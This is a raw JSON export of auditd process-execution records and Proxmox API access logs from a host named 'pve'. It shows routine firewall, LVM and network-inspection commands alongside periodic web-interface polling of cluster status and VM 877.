{"@timestamp":1781965405328,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.328:65480): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964325831,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.831:60545): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139220 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58132 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965794030,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781965405320,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.320:65479): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964325825,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.825:60544): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58131 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965794030,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:52 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965405314,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.314:65478): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964325819,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.819:60543): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecd00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58130 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965792731,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781965405306,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.306:65477): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964325811,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.811:60542): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b47b50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58129 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965792731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:51 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781965405300,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.300:65476): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964325800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.800:60541): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58128 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965792731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:51 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965405294,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.294:65474): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964325793,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.793:60540): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58127 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965792731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:51 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965405290,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.290:65473): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964325787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.787:60539): arch=c000003e syscall=59 success=yes exit=0 a0=5b8c3b06a0e0 a1=5b8c3b066e60 a2=5b8c3b048680 a3=5 items=2 ppid=58120 pid=58126 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965790949,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:50 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965405285,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.285:65472): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964325783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.783:60538): arch=c000003e syscall=59 success=yes exit=0 a0=5b8c19c70ac8 a1=7ffe31216c50 a2=5b8c3b048680 a3=5b8c19c5424e items=2 ppid=58120 pid=58122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965790949,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965405277,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.277:65471): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964325780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.780:60537): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe31216c10 a1=5b8c3b04f310 a2=5b8c3b048680 a3=5 items=2 ppid=58120 pid=58121 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965789817,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:49 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781965405271,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.271:65470): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964325762,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.762:60535): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58120 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965789817,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781965405266,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.266:65469): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964325743,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.743:60534): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58119 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965788715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964325736,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.736:60533): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58118 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405259,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.259:65468): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965788715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:47 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781964325730,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.730:60532): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58117 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405253,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.253:65467): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965788715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:47 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964325722,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.722:60531): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139ae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58116 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405249,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.249:65466): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965787700,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781964325715,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964325.715:60530): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ded60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58115 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405245,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.245:65465): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965787700,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964324677,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964324.677:60529): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b3520 a1=64f8d73b3540 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58112 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405245,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.245:65464): argc=1 a0=\"date\""} {"@timestamp":1781965786700,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 898"} {"@timestamp":1781964324647,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964324.647:60528): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c6900 a1=64f8d73b8340 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58111 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405241,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.241:65462): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965786700,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964323780,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964323.780:60527): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405233,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.233:65461): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965784788,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964323772,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964323.772:60524): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58109 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405225,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.225:65460): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965784788,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:43 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 912"} {"@timestamp":1781964318761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964318.761:60521): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58108 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405221,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.221:65459): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965784788,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964318748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964318.748:60518): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58107 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405213,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.213:65458): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965783762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:43 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964315700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.700:60515): arch=c000003e syscall=59 success=yes exit=0 a0=5e54451f7b20 a1=5e54452039f0 a2=5e54451d1680 a3=5 items=2 ppid=58100 pid=58106 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405205,"@rawstring":"node=pve type=EXECVE msg=audit(1781965405.205:65457): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965783762,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781964315684,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.684:60514): arch=c000003e syscall=59 success=yes exit=0 a0=5e5423548ac8 a1=7ffc45551120 a2=5e54451d1680 a3=5e542352c24e items=2 ppid=58100 pid=58102 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965404985,"@rawstring":"node=pve type=EXECVE msg=audit(1781965404.985:65456): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965782766,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964315681,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.681:60513): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc455510e0 a1=5e54451f31c0 a2=5e54451d1680 a3=5 items=2 ppid=58100 pid=58101 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965404959,"@rawstring":"node=pve type=EXECVE msg=audit(1781965404.959:65455): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965782766,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 946"} {"@timestamp":1781964315666,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.666:60511): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58100 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402884,"@rawstring":"node=pve type=EXECVE msg=audit(1781965402.884:65454): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965781768,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:40 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964315560,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.560:60510): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402875,"@rawstring":"node=pve type=EXECVE msg=audit(1781965402.875:65451): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965780760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 906"} {"@timestamp":1781964315549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.549:60509): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965397864,"@rawstring":"node=pve type=EXECVE msg=audit(1781965397.864:65448): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965780760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964315540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.540:60508): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965397858,"@rawstring":"node=pve type=EXECVE msg=audit(1781965397.858:65445): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965780760,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964315528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.528:60507): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395194,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.194:65442): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965779751,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964315520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.520:60506): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5cebf3aec740 items=0 ppid=1156 pid=58095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965395191,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.191:65441): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965779751,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1101"} {"@timestamp":1781964315515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.515:60505): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13fef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58095 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395190,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.190:65440): argc=1 a0=\"date\""} {"@timestamp":1781965778737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 930"} {"@timestamp":1781964315503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.503:60504): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0deb70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58094 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395186,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.186:65438): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965778737,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964315492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.492:60503): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58093 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395177,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.177:65437): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965776728,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:29:36 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964315479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.479:60502): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2c60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58092 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965395.171:65436): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965776728,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:29:35 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964315456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964315.456:60501): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58091 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} 